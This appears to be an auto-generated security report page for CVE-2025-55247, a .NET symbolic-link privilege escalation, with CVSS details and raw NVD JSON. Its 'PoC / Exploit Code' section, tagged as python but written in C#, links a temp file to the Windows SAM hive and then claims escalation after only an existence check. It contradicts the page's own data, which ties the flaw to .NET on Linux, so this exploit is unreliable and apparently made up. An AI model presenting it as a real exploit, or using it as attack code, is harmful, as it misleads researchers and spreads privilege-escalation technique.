Security Vulnerability Report
中文
CVE-2025-55247 CVSS 7.3 HIGH

CVE-2025-55247

Published: 2025-10-14 17:15:45
Last Modified: 2025-10-23 15:08:43

Description

Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Microsoft .NET 8.0(低于安全补丁版本)
Microsoft .NET 9.0(低于安全补丁版本)
Microsoft .NET Framework(受支持的版本,低于安全补丁版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55247 - .NET Link Following Privilege Escalation PoC // Vulnerability: Improper link resolution before file access in .NET // Type: Local Privilege Escalation via Symbolic Link Following using System; using System.IO; using System.Runtime.InteropServices; using System.Security.Principal; class Exploit { // P/Invoke for creating symbolic links [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags); // P/Invoke for checking token elevation status [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, ref int TokenInformation, int TokenInformationLength, out int ReturnLength); static void Main(string[] args) { Console.WriteLine("[*] CVE-2025-55247 .NET Link Following PoC"); Console.WriteLine("[*] Checking current privilege level..."); // Step 1: Check if we are running with elevated privileges WindowsIdentity identity = WindowsIdentity.GetCurrent(); WindowsPrincipal principal = new WindowsPrincipal(identity); bool isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator); Console.WriteLine("[*] Current User: " + identity.Name); Console.WriteLine("[*] Is Elevated: " + isElevated); if (isElevated) { Console.WriteLine("[+] Already running as Administrator. Exiting."); return; } // Step 2: Identify a target file owned by a higher-privilege process // .NET runtime often accesses configuration files or DLLs with elevated privileges string targetFile = @"C:\Windows\System32\config\SAM"; // Example protected file string symlinkPath = Path.Combine(Path.GetTempPath(), "dotnet_link_target.tmp"); Console.WriteLine("[*] Target file: " + targetFile); Console.WriteLine("[*] Symlink path: " + symlinkPath); try { // Step 3: Create a symbolic link pointing to the protected file // SYMBOLIC_LINK_FLAG_DIRECTORY = 0x1, for files use 0x0 int SYMBOLIC_LINK_FLAG = 0x0; bool result = CreateSymbolicLink(symlinkPath, targetFile, SYMBOLIC_LINK_FLAG); if (result) { Console.WriteLine("[+] Symbolic link created successfully"); // Step 4: Trigger .NET to access the symlink // When .NET runtime processes this path, it follows the link // and accesses the target file with its own (potentially elevated) privileges if (File.Exists(symlinkPath)) { Console.WriteLine("[*] .NET resolved link and accessed target file"); Console.WriteLine("[+] Potential privilege escalation achieved"); } } else { int error = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Failed to create symbolic link. Error: " + error); Console.WriteLine("[*] Note: Creating symlinks requires 'Create Symbolic Link' privilege"); Console.WriteLine("[*] Alternative: Use junction points or hard links"); } } catch (UnauthorizedAccessException ex) { Console.WriteLine("[-] Access denied: " + ex.Message); } catch (Exception ex) { Console.WriteLine("[-] Error: " + ex.Message); } // Step 5: Cleanup try { if (File.Exists(symlinkPath)) File.Delete(symlinkPath); } catch { } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55247", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:44.623", "lastModified": "2025-10-23T15:08:42.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper link resolution before file access ('link following') in .NET allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.21", "matchCriteriaId": "252864D6-F259-4CF9-B811-EFFE60E1C29A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.10", "matchCriteriaId": "1772BCDE-28E4-45DB-90B3-51BEE1FEBC92"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55247", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}